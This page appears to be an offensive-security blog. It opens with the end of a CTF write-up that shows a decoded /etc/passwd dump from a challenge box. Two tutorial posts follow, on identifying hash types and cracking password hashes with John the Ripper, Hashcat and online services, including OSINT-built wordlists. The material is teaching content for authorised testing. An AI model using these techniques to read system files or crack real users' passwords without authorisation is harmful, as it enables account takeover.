$ echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoicm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaFxuZGFlbW9uOng6MToxOmRhZW1vbjovdXNyL3NiaW46L3Vzci9zYmluL25vbG9naW5cbmJpbjp4OjI6MjpiaW46L2JpbjovdXNyL3NiaW4vbm9sb2dpblxuc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luXG5zeW5jOng6NDo2NTUzNDpzeW5jOi9iaW46L2Jpbi9zeW5jXG5nYW1lczp4OjU6NjA6Z2FtZXM6L3Vzci9nYW1lczovdXNyL3NiaW4vbm9sb2dpblxubWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW5cbmxwOng6Nzo3OmxwOi92YXIvc3Bvb2wvbHBkOi91c3Ivc2Jpbi9ub2xvZ2luXG5tYWlsOng6ODo4Om1haWw6L3Zhci9tYWlsOi91c3Ivc2Jpbi9ub2xvZ2luXG5uZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luXG51dWNwOng6MTA6MTA6dXVjcDovdmFyL3Nwb29sL3V1Y3A6L3Vzci9zYmluL25vbG9naW5cbnByb3h5Ong6MTM6MTM6cHJveHk6L2JpbjovdXNyL3NiaW4vbm9sb2dpblxud3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpblxuYmFja3VwOng6MzQ6MzQ6YmFja3VwOi92YXIvYmFja3VwczovdXNyL3NiaW4vbm9sb2dpblxubGlzdDp4OjM4OjM4Ok1haWxpbmcgTGlzdCBNYW5hZ2VyOi92YXIvbGlzdDovdXNyL3NiaW4vbm9sb2dpblxuaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW5cbmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpblxubm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpblxuX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luXG5jaGFsbGVuZ2U6eDoxMDAwOjEwMDA6Oi9ob21lL2NoYWxsZW5nZTovYmluL3NoXG4ifQ==" | base64 -d
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nchallenge:x:1000:1000::/home/challenge:/bin/sh\n"} 

That’s all there is. I hope you enjoyed the room. If this helped or you were able to solve or work through it a different way, let me know.

Offensive Security

Cracking Hashes

An image of a potato being cracked like an egg.This is the third post in a three-part series that I’m writing as a way to introduce Cryptographic Hashes from an Offensive Security perspective. The first post explained what hashes are, the second post explained how you would go about figuring out what kind of hash you’re working with, and this post is about trying to figure out how to crack the hash. Cracking hashes is the process of reverse-engineering or brute-forcing the hash to recover the original data, such as passwords. This final post in our offensive security series will walk you through how to crack hashes, with a focus on using John the Ripper, but we’ll also touch on other tools like Hashcat.

What Does It Mean to Crack a Hash?

Cracking a hash means finding the original data (like a password) that was transformed into the hash. Since cryptographic hash functions are designed to be one-way, cracking usually involves one of these approaches:

  • Brute Force: Trying every possible combination of characters until a match is found.
  • Dictionary Attack: Using a precompiled list of possible passwords (a dictionary) and hashing each one to see if it matches the target hash.
  • Rainbow Tables: Precomputed tables of common hashes and their corresponding plaintext values, used to crack hashes more quickly.
  • Hybrid Attack: A combination of dictionary and brute force methods, where slight variations of known words are tried.

John the Ripper

John the Ripper is one of the most popular and powerful tools for cracking hashes. It’s a highly versatile password cracker that supports a wide range of hash formats and is available on many platforms. Its community has developed numerous plug-ins and wordlists to extend its functionality, making it the go-to tool for many security professionals.

Let’s take a look at how to use John the Ripper to crack different types of hashes.

Step-by-Step Guide: Cracking Hashes with John the Ripper

1. Identify the Hash Type
Before starting the cracking process, you need to identify the hash type. In previous blog posts, we discussed how to identify a hash based on its format and length. If you know the type of hash, you can optimize your cracking efforts.

2. Install John the Ripper
If you don’t already have John the Ripper installed, you can install it on most Linux systems using:

sudo apt-get install john

For other systems, you can download the latest version from the official John the Ripper website.

3. Prepare the Hashes for Cracking
Create a text file containing the hashes you want to crack. Ensure that each hash is on a new line. Save the file as something like ‘hashes.txt’. Here are the contents of a hashes.txt file that I set up for easy cracking.

5f4dcc3b5aa765d61d8327deb882cf99
098f6bcd4621d373cade4e832627b4f6

4. Run John the Ripper

To start cracking, run the following basic command where –wordlist represents the wordlist you want to use. Cultivating and collecting good wordlists is an important skill and hobby in offensive security. Lists like the leak from the RockYou breach (with its 14 million+ passwords) are very common to use in Capture the Flag (CTF) and training boxes. There are lists that are much bigger and better that you can find online. Also, if you do decent Open Source Intelligence (OSINT) on your targets, you may very well create targeted/curated lists to use. Things like variations on your target’s pets’ names, kids’ names, favorite teams, etc. For example, “Spot, Sp0t, $p0t, Steelers, $teelers, $teeler$, $t33ler$” and so on. There are many tools (including John) to help you take a word and generate all of those permutations for you.

// --wordlist: This option tells John to use a dictionary file (wordlist) of potential passwords.
john --wordlist=/path/to/wordlist.txt hashes.txt

John will attempt to match the hashes in your file against the passwords in your wordlist. If a match is found, John will output the cracked password.

5. Use Predefined Hash Formats
Sometimes, John may not automatically recognize the hash format. If you know the hash type, you can specify it explicitly with the –format option.

For example, to crack an MD5 hash, try the following. Since our hashes.txt file contains MD5 hashes, I’ll show the actual output. This was almost instantaneous:

$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=12
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (?)
test             (?)
2g 0:00:00:00 DONE (2024-11-18 14:00) 100.0g/s 8313Kp/s 8313Kc/s 8332KC/s tyson4..tauruz
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

For NTLM hashes (commonly used in Windows systems):

john --format=nt hashes.txt

Common Formats:

  • MD5: –format=raw-md5
  • SHA-1: –format=raw-sha1
  • NTLM: –format=nt
  • bcrypt: –format=bcrypt

6. Brute Force Cracking
If a dictionary attack fails or you don’t have a good wordlist, you can use brute force. This method tries all possible combinations of characters, but it can take a long time depending on the complexity of the password.

Example command:

// --incremental: This option tells John to perform a brute force attack.
john --incremental hashes.txt

7. Checking Cracked Passwords
Once the cracking process is complete (or if you want to check progress), you can use the following command to display the cracked passwords. Since we already cracked these above, this is my output when I run this command:

// --show tells John to show the passwords, 
// --format is usually needed to reliably see the results.
$ john hashes.txt --show --format=raw-md5
?:password
?:test

2 password hashes cracked, 0 left

// This is what I get with --show only, leaving off the format.  
// You'll note when I actually cracked these the first time, 
// John had suggested --show with --format and that definitely 
// works better.  I mean, this doesn't even show the right
// number of hashes corresponding with the file.
$ john hashes.txt --show
0 password hashes cracked, 4 left

This will list all the hashes that have been successfully cracked and their corresponding plaintext passwords.

Advanced John the Ripper Techniques

Hybrid Attacks: You can combine dictionary and brute force attacks using rules. This allows John to try slight variations on the words in your dictionary (e.g., adding numbers, changing case).

john --wordlist=/path/to/wordlist.txt --rules hashes.txt

Custom Mask Attacks: If you know part of the password format (e.g., passwords are always 8 characters and include numbers), you can customize John’s brute force method with masks.

Other Tools for Cracking Hashes

While John the Ripper is one of the most popular tools, there are other tools worth mentioning:

Hashcat is another powerful hash-cracking tool known for its speed and GPU support. Hashcat can perform various types of attacks, including brute force, dictionary, and hybrid attacks.

Example Hashcat command for MD5 cracking using our example hashes.txt file

// -m 0: Specifies the hash type (MD5).
// -a 0: Specifies the attack mode (dictionary).
// -o cracked.txt: The output file for cracked passwords.

$ hashcat -m 0 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-haswell-13th Gen Intel(R) Core(TM) i7-1355U, 2802/5669 MB (1024 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 2 digests; 2 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 3 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec


Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: hashes.txt
Time.Started.....: Mon Nov 18 14:08:32 2024 (0 secs)
Time.Estimated...: Mon Nov 18 14:08:32 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  2446.1 kH/s (0.31ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 2/2 (100.00%) Digests (total), 2/2 (100.00%) Digests (new)
Progress.........: 172032/14344385 (1.20%)
Rejected.........: 0/172032 (0.00%)
Restore.Point....: 165888/14344385 (1.16%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: tyson4 -> floryna

Started: Mon Nov 18 14:08:19 2024
Stopped: Mon Nov 18 14:08:33 2024

$ cat cracked.txt
5f4dcc3b5aa765d61d8327deb882cf99:password
098f6bcd4621d373cade4e832627b4f6:test

Online Hash Cracking Services
There are also online hash-cracking services that can speed up the process, such as:

CrackStation: Free online service for cracking MD5, SHA-1, and other hash types using large dictionaries. For instance, both of my hashes from above would have been instantly cracked via the CrackStation website. Here was the output when I put them in:

Hash Type Result
5f4dcc3b5aa765d61d8327deb882cf99 md5 password
098f6bcd4621d373cade4e832627b4f6 md5 test

Hashes.com: In their own words, “Hashes.com is a site dedicated to hash recovery”. They are home to many different tools (free and paid) and they also instantly cracked my example hashes with this output:

Proceeded!
2 hashes were checked: 2 found 0 not found

Found:
5f4dcc3b5aa765d61d8327deb882cf99:password
098f6bcd4621d373cade4e832627b4f6:test

Best Practices for Hash Cracking

  • Use Strong Wordlists: A good wordlist is essential for dictionary attacks. The RockYou.txt wordlist is one of the most popular, containing millions of common passwords.
  • Leverage GPU Power: If possible, use Hashcat or John the Ripper with GPU acceleration to speed up the cracking process.
  • Automate Your Workflow: Use scripts to automate the process of identifying and cracking hashes in large datasets.
  • Understand Legal Boundaries: Cracking hashes should only be done in legal and ethical contexts, such as penetration tests, security audits, or in scenarios where you have permission.

Cracking hashes is a critical skill in offensive security, allowing you to recover passwords and understand security vulnerabilities in systems. While John the Ripper is a versatile and powerful tool, others like Hashcat, CrackStation, and Hashes.com can complement your efforts depending on the task at hand. With the right tools, techniques, and wordlists, you’ll be able to crack a wide variety of hash types in the course of your security audits or penetration tests.

Okay, that’s it. Hopefully, over the course of this series you’ve gotten a good basic overview of hashes, how to identify them, and how to begin to think about cracking them.

Offensive Security

Identifying Cryptographic Hashes

This is an image of a scientist examining a potato.This post is the second of three posts that I have planned in a little mini-series. Last time, we looked at What are Cryptographic Hashes? and this time, we’re going to talk about how to identify cryptographic hashes that you might find in the wild.

In offensive security and during security audits, you’ll often encounter cryptographic hashes. These may be part of password dumps, logs, malware signatures, or other files. However, not all hashes are labeled clearly, and determining the type of hash used is essential for further analysis, especially when cracking or reversing it. Let’s dive into how you can identify cryptographic hashes in the wild and the tools that make the process easier.

This is important for a few reasons, but from an Offensive Security perspective, the biggest reason is that you often need to identify the type of hash you’re dealing with is to be able to crack it correctly. If you’re just using a huge, pre-computed rainbow table like I assume CrackStation uses, identifying them is less important because it just finds them as they are and returns the stored initial plain text value that was used to make the digest. In the case of other tools that you want to run specific wordlists against where you “hash on demand”, you have to know what you’re trying for before you start. So how do we do it?

Over time, you may develop some kind of sixth sense about it and be able to look at them and be pretty sure what you’re seeing. But, if you’re new or want to know the process that is going on behind the scenes, here’s a decision process. First, look at the length of the hash. Here are some lengths of some very popular hash types you’re likely to encounter. Length alone doesn’t always give you a definitive answer, but it helps rule out many possibilities.

  • MD5: 32 hexadecimal characters (128 bits).
  • SHA-1: 40 hexadecimal characters (160 bits).
  • SHA-256: 64 hexadecimal characters (256 bits).
  • SHA-512: 128 hexadecimal characters (512 bits).
  • bcrypt: Typically around 60 characters (includes a salt).

Next thing you want to do is look for special formatting of the hash itself that might be unique to the hash’s “signature”.

  • bcrypt hashes often start with $2a$, $2b$, or $2y$.
  • MD5 is typically a straightforward 32-character hexadecimal string.
  • NTLM (used in Windows environments) often has a 32-character hexadecimal format similar to MD5 but is distinct in purpose.

The next thing you want to do (honestly, maybe this should kind of be step 0 even) is consider the context of where the hash came from. It isn’t super likely that you just “found a hash on the ground”, you usually have some context with it and that context can give us some hints.

  • Password Databases: If you’re analyzing a password database, it’s common to find hashes like bcrypt, PBKDF2, or even older ones like MD5.
  • File Integrity Checks: If the hash is related to file integrity checks (e.g., software downloads), SHA-256 or SHA-512 is often used.
  • Certificates and Signatures: Digital certificates or signatures may use SHA-256 or SHA-1, although SHA-1 has been largely deprecated.

Another thing to do is to look for evidence and distinctive markers at specific points in the hash. Some hash functions, particularly those used for passwords (like bcrypt, PBKDF2, and Argon2), employ salting and iterations to increase security. The salt is a random value added to the input to ensure the same passwords don’t produce identical hashes. Hashes with salts often have longer lengths and may include markers or delimiters in the format, like the way you might find a Bcrypt hash that starts with ‘$2a$10$…’ where ’10’ is the cost factor.

So if you found a hash like $2y$12$EXRkfkdmXn2gzds2SSituJWMqp3hPFO4lH/vqFhD8aJL.lfwBby4a during a penetration test and you figure out that $2y$ indicates the algorithm is bcrypt and 12 indicates the number of iterations (also called the cost factor). You can then use a tool like John the Ripper or Hashcat with your favorite wordlists, specifying bcrypt as the algorithm.

The next step (maybe it might be your first step) is to try using some tools to help you. The truth is that these tools apply some of the heuristics that I’ve already outlined (and many more that I haven’t) in order to figure out what you’re dealing with. One of the most popular is called hashID (which replaced hash-identifier), a Python tool that you can install with pip and then call from the command line. Here is an example of me using it to identify some hashes.

$ hashid '5d41402abc4b2a76b9719d911017c592'
Analyzing '5d41402abc4b2a76b9719d911017c592'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5
[+] Skype
[+] Snefru-128
[+] NTLM
[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)
[+] RAdmin v2.x

$ hashid '$2y$12$EXRkfkdmXn2gzds2SSituJWMqp3hPFO4lH/vqFhD8aJL.lfwBby4a'
Analyzing '$2y$12$EXRkfkdmXn2gzds2SSituJWMqp3hPFO4lH/vqFhD8aJL.lfwBby4a'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt

You’ll notice that sometimes, you get a LOT of possible results. That’s why I personally put the tools a little lower on the list. You will want to use context to try to figure out which of those suggestions is most likely. From there, you may have to try a few different times to crack the hash, but you should have some kind of logic to the order. Consider the context, the technology stack, when it was written, what you know about the development team, etc. You may see some people suggest tools like OnlineHashCrack (use the menu to go to Free Tools, then Hash Identification). The direct link is here, but that can change. Unless you can’t install hashID on your system for some reason, I’d just use hashID. Online Hash Crack literally seems to be using something like hash-identifier under the hood, as the results are the very similar.

Hash Identifier

+-$ hash-identifier 5d41402abc4b2a76b9719d911017c592
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Least Possible Hashs:
[+] RAdmin v2.x
[+] NTLM
[+] MD4
[+] MD2
[+] MD5(HMAC)
[+] MD4(HMAC)
[+] MD2(HMAC)
[+] MD5(HMAC(WordPress))
[+] Haval-128
[+] Haval-128(HMAC)
[+] RipeMD-128
[+] RipeMD-128(HMAC)
[+] SNEFRU-128
[+] SNEFRU-128(HMAC)
[+] Tiger-128
[+] Tiger-128(HMAC)
[+] md5($pass.$salt)
[+] md5($salt.$pass)
[+] md5($salt.$pass.$salt)
[+] md5($salt.$pass.$username)
[+] md5($salt.md5($pass))
[+] md5($salt.md5($pass))
[+] md5($salt.md5($pass.$salt))
[+] md5($salt.md5($pass.$salt))
[+] md5($salt.md5($salt.$pass))
[+] md5($salt.md5(md5($pass).$salt))
[+] md5($username.0.$pass)
[+] md5($username.LF.$pass)
[+] md5($username.md5($pass).$salt)
[+] md5(md5($pass))
[+] md5(md5($pass).$salt)
[+] md5(md5($pass).md5($salt))
[+] md5(md5($salt).$pass)
[+] md5(md5($salt).md5($pass))
[+] md5(md5($username.$pass).$salt)
[+] md5(md5(md5($pass)))
[+] md5(md5(md5(md5($pass))))
[+] md5(md5(md5(md5(md5($pass)))))
[+] md5(sha1($pass))
[+] md5(sha1(md5($pass)))
[+] md5(sha1(md5(sha1($pass))))
[+] md5(strtoupper(md5($pass)))
--------------------------------------------------

OnlineHashCrack

Input: 5d41402abc4b2a76b9719d911017c592

Results: 
Your hash may be one of the following:
- MD2
- MD5
- MD4
- Double MD5
- LM
- RIPEMD-128
- Haval-128
- Tiger-128
- Skein-256(128)
- Skein-512(128)
- Lotus Notes/Domino 5
- Skype
- ZipMonster
- PrestaShop
- md5(md5(md5($pass)))
- md5(strtoupper(md5($pass)))
- md5(sha1($pass))
- md5($pass.$salt)
- md5($salt.$pass)
- md5(unicode($pass).$salt)
- md5($salt.unicode($pass))
- HMAC-MD5 (key = $pass)
- HMAC-MD5 (key = $salt)
- md5(md5($salt).$pass)
- md5($salt.md5($pass))
- md5($pass.md5($salt))
- md5($salt.$pass.$salt)
- md5(md5($pass).md5($salt))
- md5($salt.md5($salt.$pass))
- md5($salt.md5($pass.$salt))
- md5($username.0.$pass)
- Snefru-128
- NTLM
- Domain Cached Credentials
- Domain Cached Credentials 2
- DNSSEC(NSEC3)
- RAdmin v2.x
- Cisco Type 7

It is possible that some tools that you use to crack the hashes have some built-in identifiers (like John the Ripper), but they don’t work independently.

Identifying cryptographic hashes is a critical skill during security audits or penetration tests. With so many different algorithms in use, the ability to quickly pinpoint the hash type allows you to assess security, crack passwords, and verify data integrity. By leveraging online tools, command-line utilities like hashID, and your understanding of hash lengths and formats, you can efficiently identify the most commonly used hashes.

In the next post, we’ll explore how to crack these hashes, using both brute force and other techniques.